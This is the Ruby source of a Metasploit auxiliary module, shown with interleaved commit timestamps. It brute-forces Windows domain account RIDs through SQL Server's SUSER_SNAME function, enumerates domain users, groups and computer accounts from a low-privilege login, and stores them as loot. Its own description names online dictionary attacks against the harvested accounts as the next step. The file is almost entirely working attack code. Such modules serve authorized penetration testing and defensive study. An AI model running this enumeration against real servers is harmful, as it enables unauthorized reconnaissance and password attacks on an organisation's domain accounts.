2014-11-17 19:03:43 +00:00
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##
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2017-07-24 13:26:21 +00:00
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# This module requires Metasploit: https://metasploit.com/download
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2014-11-17 19:03:43 +00:00
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core/exploit/mssql_commands'
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2016-03-08 13:02:44 +00:00
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class MetasploitModule < Msf::Auxiliary
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2014-11-17 19:03:43 +00:00
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include Msf::Exploit::Remote::MSSQL
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include Msf::Auxiliary::Report
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def initialize(info = {})
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super(update_info(info,
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2014-11-24 17:24:41 +00:00
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'Name' => 'Microsoft SQL Server SUSER_SNAME Windows Domain Account Enumeration',
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'Description' => %q{
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2014-12-04 19:11:33 +00:00
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This module can be used to bruteforce RIDs associated with the domain of the SQL Server
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2014-11-24 17:27:32 +00:00
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using the SUSER_SNAME function. This is similar to the smb_lookupsid module, but executed
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through SQL Server queries as any user with the PUBLIC role (everyone). Information that
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can be enumerated includes Windows domain users, groups, and computer accounts. Enumerated
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accounts can then be used in online dictionary attacks.
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2014-11-24 17:24:41 +00:00
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},
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'Author' =>
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2014-11-17 19:03:43 +00:00
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[
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2014-11-24 17:24:41 +00:00
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'nullbind <scott.sutherland[at]netspi.com>',
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'antti <antti.rantasaari[at]netspi.com>'
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],
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'License' => MSF_LICENSE,
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'References' => [[ 'URL','http://msdn.microsoft.com/en-us/library/ms174427.aspx']]
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))
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register_options(
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[
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OptInt.new('FuzzNum', [true, 'Number of principal_ids to fuzz.', 10000]),
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2017-05-03 20:42:21 +00:00
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])
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2014-11-17 19:03:43 +00:00
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end
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def run
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# Check connection and issue initial query
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print_status("Attempting to connect to the database server at #{rhost}:#{rport} as #{datastore['USERNAME']}...")
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if mssql_login_datastore
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print_good('Connected.')
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else
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print_error('Login was unsuccessful. Check your credentials.')
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disconnect
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return
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end
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# Get the server name
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sql_server_name = get_sql_server_name
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print_status("SQL Server Name: #{sql_server_name}")
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# Get the domain name
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sql_server_domain = get_windows_domain
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if sql_server_domain.nil?
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print_error("Could not recover the SQL Server's domain.")
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disconnect
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return
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else
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print_status("Domain Name: #{sql_server_domain}")
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end
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# Check if the domain and hostname are the same
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if sql_server_name == sql_server_domain
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print_error("The SQL Server does not appear to be part of a Windows domain.")
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disconnect
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return
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end
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# Get the base sid for the domain
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windows_domain_sid = get_windows_domain_sid(sql_server_domain)
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if windows_domain_sid.nil?
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print_error("Could not recover the SQL Server's domain sid.")
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disconnect
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return
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else
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print_good("Found the domain sid: #{windows_domain_sid}")
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end
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# Get a list of windows users, groups, and computer accounts using SUSER_NAME()
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print_status("Brute forcing #{datastore['FuzzNum']} RIDs through the SQL Server, be patient...")
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win_domain_user_list = get_win_domain_users(windows_domain_sid)
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2014-11-24 18:01:09 +00:00
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disconnect
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2014-11-17 19:03:43 +00:00
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if win_domain_user_list.nil? || win_domain_user_list.empty?
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print_error('Sorry, no Windows domain accounts were found, or DC could not be contacted.')
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return
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end
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2014-11-24 18:01:09 +00:00
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# Print number of objects found and write to a file
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print_good("#{win_domain_user_list.length} user accounts, groups, and computer accounts were found.")
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win_domain_user_list.sort.each do |windows_login|
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vprint_status(" - #{windows_login}")
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2014-11-17 19:03:43 +00:00
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end
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2014-11-24 18:01:09 +00:00
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# Create table for report
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2016-08-10 18:30:09 +00:00
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windows_domain_login_table = Rex::Text::Table.new(
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2014-11-24 18:01:09 +00:00
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'Header' => 'Windows Domain Accounts',
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'Ident' => 1,
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'Columns' => ['name']
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)
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# Add brute forced names to table
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win_domain_user_list.each do |object_name|
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windows_domain_login_table << [object_name]
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end
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# Create output file
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this_service = report_service(
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:host => rhost,
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:port => rport,
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:name => 'mssql',
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:proto => 'tcp'
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)
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file_name = "#{datastore['RHOST']}-#{datastore['RPORT']}_windows_domain_accounts.csv"
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path = store_loot(
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'mssql.domain.accounts',
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'text/plain',
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datastore['RHOST'],
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windows_domain_login_table.to_csv,
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file_name,
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'Domain Users enumerated through SQL Server',
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this_service)
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print_status("Query results have been saved to: #{path}")
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2014-11-17 19:03:43 +00:00
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end
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# Get list of windows accounts,groups,and computer accounts
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def get_win_domain_users(windows_domain_sid)
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# Create array to store the windws accounts etc
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windows_logins = []
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# Fuzz the principal_id parameter passed to the SUSER_NAME function
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(500..datastore['FuzzNum']).each do |principal_id|
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# Convert number to hex and fix order
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principal_id_hex = "%02X" % principal_id
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principal_id_hex_pad = (principal_id_hex.size.even? ? principal_id_hex : ("0"+ principal_id_hex))
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principal_id_clean = principal_id_hex_pad.scan(/(..)/).reverse.flatten.join
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# Add padding
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principal_id_hex_padded2 = principal_id_clean.ljust(8, '0')
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# Create full sid
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win_sid = "0x#{windows_domain_sid}#{principal_id_hex_padded2}"
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# Return if sid does not resolve correctly for a domain
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if win_sid.length < 48
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return nil
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end
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# Setup query
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sql = "SELECT SUSER_SNAME(#{win_sid}) as name"
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# Execute query
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result = mssql_query(sql)
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# Parse results
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parse_results = result[:rows]
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windows_login = parse_results[0][0]
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# Print account,group,or computer account etc
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if windows_login.length != 0
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print_status(" - #{windows_login}")
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2014-11-24 17:48:16 +00:00
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vprint_status("Test sid: #{win_sid}")
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2014-11-17 19:03:43 +00:00
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end
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# Add to windows domain object list
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windows_logins.push(windows_login) unless windows_logins.include?(windows_login)
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end
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# Return list of logins
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windows_logins
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end
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# Get windows domain
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def get_windows_domain
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2014-11-24 17:23:27 +00:00
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# Setup query to check the domain
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2014-11-17 19:03:43 +00:00
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sql = "SELECT DEFAULT_DOMAIN() as mydomain"
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# Run query
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result = mssql_query(sql)
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# Parse query results
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parse_results = result[:rows]
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sql_server_domain = parse_results[0][0]
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# Return domain
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sql_server_domain
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end
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# Get the sql server's hostname
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def get_sql_server_name
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2014-11-24 17:23:27 +00:00
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# Setup query to check the server name
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sql = "SELECT @@servername"
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# Run query
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result = mssql_query(sql)
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# Parse query results
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parse_results = result[:rows]
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sql_instance_name = parse_results[0][0]
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sql_server_name = sql_instance_name.split('\\')[0]
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# Return servername
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sql_server_name
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end
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# Get windows domain
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def get_windows_domain_sid(sql_server_domain)
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# Set group
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domain_group = "#{sql_server_domain}\\Domain Admins"
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2014-11-24 17:23:27 +00:00
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# Setup query to check the Domain SID
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sql = "select SUSER_SID('#{domain_group}') as dasid"
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# Run query
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result = mssql_query(sql)
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# Parse query results
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parse_results = result[:rows]
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object_sid = parse_results[0][0]
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domain_sid = object_sid[0..47]
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# Return if sid does not resolve for a domain
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if domain_sid.length == 0
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return nil
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end
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# Return domain sid
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domain_sid
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end
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end
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